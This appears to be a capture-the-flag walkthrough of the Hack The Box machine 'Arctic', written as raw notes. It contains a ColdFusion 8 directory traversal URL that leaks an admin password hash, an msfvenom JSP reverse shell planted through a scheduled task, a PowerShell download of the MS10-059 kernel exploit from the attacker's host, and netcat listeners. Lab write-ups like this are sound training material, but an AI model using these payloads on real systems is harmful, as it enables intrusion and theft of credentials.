COLD FUSION 8 DIRECTORY TRAVERSAL

REVERSE JAVA SHELL

WINDOWS EXPLOIT SUGGESTER

MS 10-059 (Chimchurri)

PORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC

8500/tcp open fmtp?

49154/tcp open msrpc Microsoft Windows RPC

http://arctic.htb:8500/

cfide→administrator→cold fusion login

http://arctic.htb:8500/CFIDE/administrator/

root@kali:/home/kali/Desktop/htb/arctic# searchsploit cold fusion 8

Adobe ColdFusion - Directory Traversal | multiple/remote/14641.py

root@kali:/home/kali/Desktop/htb/arctic# cp /usr/share/exploitdb/exploits/multiple/remote/14641.py .

http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en

#Wed Mar 22 20:53:51 EET 2017 rdspassword=0IA/F[[E>[$_6& \\Q>[K\=XP \n
password=2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03 encrypted=true

https://crackstation.net/

happyday

http://arctic.htb:8500/CFIDE/administrator/

admin – happyday

root@kali:/home/kali/Desktop/htb/arctic# msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.27 LPORT=4422 -f raw > exp.jsp

scheduled tasks→schedule new task

Task name:akg

URL http://10.10.14.27/exp.jsp

File C:\ColdFusion8\wwwroot\CFIDE\exp.jsp

RUN SCHEDULED TASK!!!!!

root@kali:/home/kali/Desktop/htb/arctic# python -m SimpleHTTPServer 80

root@kali:/home/kali/Desktop/htb/arctic# nc -nlvp 4422

http://arctic.htb:8500/CFIDE/exp.jsp

SHELL GAINED!!!!!!

Host Name: ARCTIC

OS Name: Microsoft Windows Server 2008 R2 Standard

OS Version: 6.1.7600 N/A Build 7600

OS Manufacturer: Microsoft Corporation

OS Configuration: Standalone Server

OS Build Type: Multiprocessor Free

Registered Owner: Windows User

Registered Organization:

Product ID: 55041-507-9857321-84451

Original Install Date: 22/3/2017, 11:09:45 ��

System Boot Time: 16/7/2020, 1:05:32 ��

System Manufacturer: VMware, Inc.

System Model: VMware Virtual Platform

System Type: x64-based PC

Processor(s): 2 Processor(s) Installed.

[01]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz

[02]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz

BIOS Version: Phoenix Technologies LTD 6.00, 12/12/2018

Windows Directory: C:\Windows

System Directory: C:\Windows\system32

Boot Device: \Device\HarddiskVolume1

System Locale: el;Greek

Input Locale: en-us;English (United States)

Time Zone: (UTC+02:00) Athens, Bucharest, Istanbul

Total Physical Memory: 1.023 MB

Available Physical Memory: 223 MB

Virtual Memory: Max Size: 2.047 MB

Virtual Memory: Available: 1.191 MB

Virtual Memory: In Use: 856 MB

Page File Location(s): C:\pagefile.sys

Domain: HTB

Logon Server: N/A

Hotfix(s): N/A

Network Card(s): 1 NIC(s) Installed.

[01]: Intel(R) PRO/1000 MT Network Connection

Connection Name: Local Area Connection

DHCP Enabled: No

IP address(es)

[01]: 10.10.10.11

WINDOWS EXPLOIT SUGGESTER

root@kali:/home/kali/Desktop/htb/arctic# python windows-exploit-suggester.py --update

root@kali:/home/kali/Desktop/htb/arctic# python windows-exploit-suggester.py --database 2020-07-14-mssb.xls --systeminfo systeminfo.txt

- MS10-047
- MS10-059
- MS10-061
- MS10-073
- MS11-011
- MS13-005

MS10-059

https://github.com/egre55/windows-kernel-exploits/tree/master/MS10-059:%20Chimichurri

root@kali:/home/kali/Desktop/htb/arctic# python -m SimpleHTTPServer 80

C:\Users\tolis\Desktop>powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.27/akg.exe','C:\Users\tolis\Desktop\akg.exe')"

root@kali:/home/kali/Desktop/htb/arctic# nc -nlvp 443

ROOTED!!!!!